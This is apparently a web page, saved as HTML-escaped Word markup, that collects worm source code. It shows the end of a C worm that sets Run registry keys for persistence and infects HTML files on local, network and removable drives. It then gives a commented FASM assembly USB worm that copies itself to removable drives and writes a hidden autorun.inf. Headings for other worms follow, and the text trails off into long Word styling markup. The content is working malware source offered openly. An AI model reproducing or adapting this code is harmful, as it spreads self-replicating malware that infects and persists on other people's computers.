autostart(char *my_path)&lt;br /&gt;{&lt;br /&gt;hkey hkey;&lt;br /&gt;&lt;br /&gt;if(regopenkeyex(hkey_local_machine,&lt;br /&gt;"software\\microsoft\\windows\\currentversion\\run",0,&lt;br /&gt;key_write,&amp;amp;hkey)==error_success)&lt;br /&gt;{&lt;br /&gt;regsetvalueex(hkey,"himon",0,reg_sz,my_path,strlen(my_path));&lt;br /&gt;regclosekey(hkey);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(regopenkeyex(hkey_current_user,&lt;br /&gt;"software\\microsoft\\windows\\currentversion\\run",0,&lt;br /&gt;key_write,&amp;amp;hkey)==error_success)&lt;br /&gt;{&lt;br /&gt;regsetvalueex(hkey,"himon",0,reg_sz,my_path,strlen(my_path));&lt;br /&gt;regclosekey(hkey);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// this will scan drives for html files&lt;br /&gt;void s3arch(char *pt) {&lt;br /&gt;char sc[max_path],buf[max_path];&lt;br /&gt;win32_find_data in;&lt;br /&gt;handle fd,file;&lt;br /&gt;char *fm = "%s\\%s",*fm1 = "%s\\*.*";&lt;br /&gt;&lt;br /&gt;if(strlen(pt) == 3)&lt;br /&gt;{&lt;br /&gt;pt[2] = '\0'; /* :-) */&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sprintf(sc,fm1,pt);&lt;br /&gt;fd = findfirstfile(sc,&amp;amp;in);&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;sprintf(buf,fm,pt,in.cfilename);&lt;br /&gt;&lt;br /&gt;/* dot :) */&lt;br /&gt;if(strcmp(in.cfilename,"..") != 0 &amp;amp;&amp;amp; strcmp(in.cfilename,".") != 0 &amp;amp;&amp;amp; (in.dwfileattributes &amp;amp; file_attribute_directory))&lt;br /&gt;{&lt;br /&gt;s3arch(buf);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* file found */&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;/* is it good to infect ? */&lt;br /&gt;&lt;br /&gt;if(strstr(in.cfilename,".html") || strstr(in.cfilename,".htm"))&lt;br /&gt;{&lt;br /&gt;htmlspread(buf);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}while(findnextfile(fd,&amp;amp;in));&lt;br /&gt;&lt;br /&gt;findclose(fd);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// entry point of worm&lt;br /&gt;int winapi winmain (hinstance hinstance, hinstance hprevinstance, lpstr lpcmdline, int ncmdshow)&lt;br /&gt;{&lt;br /&gt;// usual shit: installation part, startup and so on ...&lt;br /&gt;char i_am_here[max_path],installation_path[max_path];&lt;br /&gt;char drives[3],drive = 0;&lt;br /&gt;uint drive_type;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// only one copy&lt;br /&gt;createmutex(null,false,"__htmlworm_by_wargame_eof__");&lt;br /&gt;if(getlasterror() == error_already_exists)&lt;br /&gt;{&lt;br /&gt;exitprocess(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;getsystemdirectory(installation_path,max_path);&lt;br /&gt;strcat(installation_path,"\\himon.exe");&lt;br /&gt;&lt;br /&gt;getmodulefilename(null,i_am_here,max_path);&lt;br /&gt;// copy!&lt;br /&gt;copyfile(i_am_here,installation_path,false);&lt;br /&gt;autostart(installation_path);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// the real part starts here&lt;br /&gt;while(1)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;/* search for drives */&lt;br /&gt;for(drive = 'c';drive &lt;= 'z';drive++) { drives[0] = drive; drives[1] = ':'; drives[2] = '\\'; drives[3] = '\0';  /* drive ? */ drive_type = getdrivetype(drives);  /* only fixed, remote and removable drives */ if(drive_type == drive_fixed || drive_type == drive_remote || drive_type == drive_removable) { /* go! */ s3arch(drives); } }  /* every 10 minutes */ sleep((1000*60)*10); } }&lt;/string&gt;&lt;/windows.h&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;USB Worm&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 11"&gt;&lt;meta name="Originator" content="Microsoft Word 11"&gt;&lt;link rel="File-List" href="file:///C:%5CDOCUME%7E1%5CKUMARA%7E1.IHO%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"&gt;&lt;o:smarttagtype namespaceuri="urn:schemas-microsoft-com:office:smarttags" name="Street"&gt;&lt;/o:smarttagtype&gt;&lt;o:smarttagtype namespaceuri="urn:schemas-microsoft-com:office:smarttags" name="address"&gt;&lt;/o:smarttagtype&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if !mso]&gt;&lt;object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"&gt;&lt;/object&gt; &lt;style&gt; st1\:*{behavior:url(#ieooui) } &lt;/style&gt; &lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} pre 	{margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Courier New"; 	mso-fareast-font-family:"Times New Roman";} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} table.MsoTableGrid 	{mso-style-name:"Table Grid"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	border:solid windowtext 1.0pt; 	mso-border-alt:solid windowtext .5pt; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-border-insideh:.5pt solid windowtext; 	mso-border-insidev:.5pt solid windowtext; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0in 5.4pt; width: 6.15in;" width="590" valign="top"&gt;&lt;pre&gt;; [-+- W32/ASM.USBWorm - illuz1oN 2008 -+-]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Fully Commented Code&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; For h4ck-y0u.org E-zine!!&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; (C)opyright illuz1oN 2008&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Compiled with FASM: 2000 bytes (2KB)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; [!!!! FOR CLEAN COMMENTS OPEN IN FIREFOX | IE !!!!]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;include "H:\Liam\FASM\INCLUDE\WIN32AX.inc";Include the windows API for this!&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;.data ;section that contains our pre-defined data!&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;szPath rb 256d ;szPath that holds 256chars&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;szDrives rb 105d ;szDrives that holds 105 chars (all drives + ')&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;szNew db 'illuz1oN.exe', 0 ;Our exe name for on the usb stick!&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;szUsbRun rb 14d ;buffer to hold 'autorun.inf'&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;szUsbData rb 28d ;buffer to hold '[autorun]open=illuz1oN.exe'&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;fuckAll dd ? ;empty buffer, for random shit :D&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;.code ;Section that has our code (our main body!)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;illuzUSB: ;our program starting label 'illuzUSB'&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push 256d ;push 256d onto the stack&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push szPath ;push szPath onto stack [this will hold data]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push 0 ;push NULL onto the stack&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;call [GetModuleFileName] ;call GetModuleFileName [with the pushed args!]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push szDrives ;push szDrives&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push 105d ;push the size of szDrives&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;call [GetLogicalDriveStrings] ;call GetLogicalDriveStrings [We need the drives dont we?]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;xor ebx,ebx ;set ebx to 0 (32bit)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;xor ecx,ecx ;set ecx to 0 ( ^ )&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;xor eax,eax ;set eax to 0 ( ^ )&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov ecx, 0d ;ecx=0d (ecx = 'A')&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;call checkDrive ;call checkDrive (check drive on 'A')&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;checkDrive: ;our checkDrive function&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;xor eax,eax ;set eax to 0 (32bit)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov ebx,ecx ;ebx = ecx &lt;st1:street st="on"&gt;&lt;st1:address st="on"&gt;first Drive&lt;/st1:address&gt;&lt;/st1:street&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov dword [ebx+1d], ':\' ;place :\ on drive -&gt; '*:\' (Fuck lstrcat (we need speed!))&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push ebx ;push ebx onto stack ('*:\')&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;call [GetDriveType] ;call GetDriveType [on '*:\'] -&gt; results in eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;cmp eax,DRIVE_REMOVABLE ;does eax hold 'DRIVE_REMOVABLE' (is '*:\' a USB Device?)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;je copyToUsb ;yes, Copy to the usb!&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;xor eax,eax ;set eax to 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;add ecx, 4d ;ecx = ecx +4&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;jmp checkDrive ;its not removable, loop through again!&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;copyToUsb: ;My copy function (Messy i know...)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;xor eax,eax ;set eax to 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;xor ebx,ebx ;set ebx to 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov ebx,ecx ;ebx = ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov dword [ebx+3d], szNew ;'*:\illuz1oN.exe'&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push 0 ;push NULL onto the stack&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push ebx ;push '*:\illuz1oN.exe' onto the stack&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push szPath ;push szPath onto the stack&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;call [CopyFile] ;call CopyFile [Copy us to the USB Device]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;cmp eax,0 ;no it failed :(&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;jmp copyToUsb ;retry until its successfull!&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;xor eax,eax ;clear eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;xor ebx,ebx ;clear ebx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov ebx,ecx ;ebx = ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov dword [szUsbRun], 'auto' ;szUsbRun = auto&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov dword [szUsbRun+4d], 'run.' ;szUsbRun = autorun.&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov dword [szUsbRun+8d], 'inf' ;szUsbRun = autorun.inf&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov dword [ebx+3d], szUsbRun ;*:\autorun.inf&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push 0 ;push 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push FILE_ATTRIBUTE_HIDDEN ;push file attribs&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push CREATE_ALWAYS ;always make it! (overwrite)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push 0 ;push NULL&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push 0 ;push NULL&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push GENERIC_WRITE ;write it only&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push ebx ;create it *:\autorun.inf&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;call [CreateFile] ;Create the file!&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov dword [szUsbData], '[aut' ;szUsbData = [aut&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov dword [szUsbData+4d], 'orun' ;szUsbData = [autorun&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov dword [szUsbData+8d], ']' ;szUsbData = [autorun]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov byte [szUsbData+9d], 13d ;szUsbData = [autorun]\&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov byte [szUsbData+10d], 10d ;szUsbData = [autorun]\n&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov dword [szUsbData+11d], 'open' ;szUsbData = [autorun]\nopen&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov dword [szUsbData+15d], '=ill' ;szUsbData = [autorun]\nopen=ill&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov dword [szUsbData+19d], 'uz1o' ;szUsbData = [autorun]\nopen=illuz1o&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov dword [szUsbData+23d], 'N.ex' ;szUsbData = [autorun]\nopen=illuz1oN.ex&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;mov dword [szUsbData+27d], 'e' ;szUsbData = [autorun]\nopen=illuz1oN.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push 0 ;push 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push fuckAll ;push trashdata [for random bytes we dont need]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push 28d ;length were writing!&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push eax ;our file handle [eax, we havnt changed since last createfile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;call [WriteFile] ;Write the data!&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push eax ;our filehandle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;call [CloseHandle] ;close it!&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;xor eax,eax ;clear eaax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;cmp ecx,104d ;is our counter at the last usb device?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;je exitWorm ;yes, exit the worm&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;call checkDrive ;no, re do it all again!&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;exitWorm: ;Exitting the worm&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;xor eax,eax ;clear eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;xor ebx,ebx ;clear ebx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;xor ecx,ecx ;clear ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;push 0 ;push NULL&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;call [ExitProcess] ;ByeBye! - illuz1oN&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;.end illuzUSB ;end label!&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;   &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;u&gt;PHP Worm&lt;br /&gt;&lt;br /&gt;&lt;/u&gt; 		          &lt;u&gt;Redlof (VBS/Redolf.A)&lt;br /&gt;&lt;br /&gt;&lt;/u&gt; 		          &lt;u&gt;I-worm.Icecubes v 1.05&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 11"&gt;&lt;meta name="Originator" content="Microsoft Word 11"&gt;&lt;link rel="File-List" href="file:///C:%5CDOCUME%7E1%5CKUMARA%7E1.IHO%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:Helvetica; 	panose-1:2 11 5 4 2 2 2 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Courier; 	panose-1:2 7 4 9 2 2 5 2 4 4; 	mso-font-charset:0; 	mso-generic-font-family:modern; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Tms Rmn"; 	panose-1:2 2 6 3 4 5 5 2 3 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Helv; 	panose-1:2 11 6 4 2 2 2 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"New York"; 	panose-1:2 4 5 3 6 5 6 2 3 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:System; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Wingdings; 	panose-1:5 0 0 0 0 0 0 0 0 0; 	mso-font-charset:2; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face 	{font-family:"MS Mincho"; 	panose-1:2 2 6 9 4 2 5 8 3 4; 	mso-font-alt:"ＭＳ 明朝"; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;} @font-face 	{font-family:Batang; 	panose-1:2 3 6 0 0 1 1 1 1 1; 	mso-font-alt:바탕; 	mso-font-charset:129; 	mso-generic-font-family:auto; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 151388160 16 0 524288 0;} @font-face 	{font-family:SimSun; 	panose-1:2 1 6 0 3 1 1 1 1 1; 	mso-font-alt:宋体; 	mso-font-charset:134; 	mso-generic-font-family:auto; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:1 135135232 16 0 262144 0;} @font-face 	{font-family:PMingLiU; 	panose-1:2 1 6 1 0 1 1 1 1 1; 	mso-font-alt:新細明體; 	mso-font-charset:136; 	mso-generic-font-family:auto; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:1 134742016 16 0 1048576 0;} @font-face 	{font-family:"MS Gothic"; 	panose-1:2 11 6 9 7 2 5 8 2 4; 	mso-font-alt:"ＭＳ ゴシック"; 	mso-font-charset:128; 	mso-generic-font-family:modern; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;} @font-face 	{font-family:Dotum; 	panose-1:2 11 6 0 0 1 1 1 1 1; 	mso-font-alt:돋움; 	mso-font-charset:129; 	mso-generic-font-family:modern; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 151388160 16 0 524288 0;} @font-face 	{font-family:SimHei; 	panose-1:2 1 6 0 3 1 1 1 1 1; 	mso-font-alt:黑体; 	mso-font-charset:134; 	mso-generic-font-family:modern; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 135135232 16 0 262144 0;} @font-face 	{font-family:MingLiU; 	panose-1:2 1 6 9 0 1 1 1 1 1; 	mso-font-alt:細明體; 	mso-font-charset:136; 	mso-generic-font-family:modern; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134742016 16 0 1048576 0;} @font-face 	{font-family:Mincho; 	panose-1:2 2 6 9 4 3 5 8 3 5; 	mso-font-alt:明朝; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;} @font-face 	{font-family:Gulim; 	panose-1:2 11 6 0 0 1 1 1 1 1; 	mso-font-alt:굴림; 	mso-font-charset:129; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 151388160 16 0 524288 0;} @font-face 	{font-family:Century; 	panose-1:2 4 6 4 5 5 5 2 3 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"Angsana New"; 	panose-1:2 2 6 3 5 4 5 2 3 4; 	mso-font-charset:222; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:16777217 0 0 0 65536 0;} @font-face 	{font-family:"Cordia New"; 	panose-1:2 11 3 4 2 2 2 2 2 4; 	mso-font-charset:222; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:16777217 0 0 0 65536 0;} @font-face 	{font-family:Mangal; 	panose-1:0 0 4 0 0 0 0 0 0 0; 	mso-font-charset:0; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:32771 0 0 0 1 0;} @font-face 	{font-family:Latha; 	panose-1:2 0 4 0 0 0 0 0 0 0; 	mso-font-charset:0; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:1048579 0 0 0 1 0;} @font-face 	{font-family:Sylfaen; 	panose-1:1 10 5 2 5 3 6 3 3 3; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:67110535 0 0 0 159 0;} @font-face 	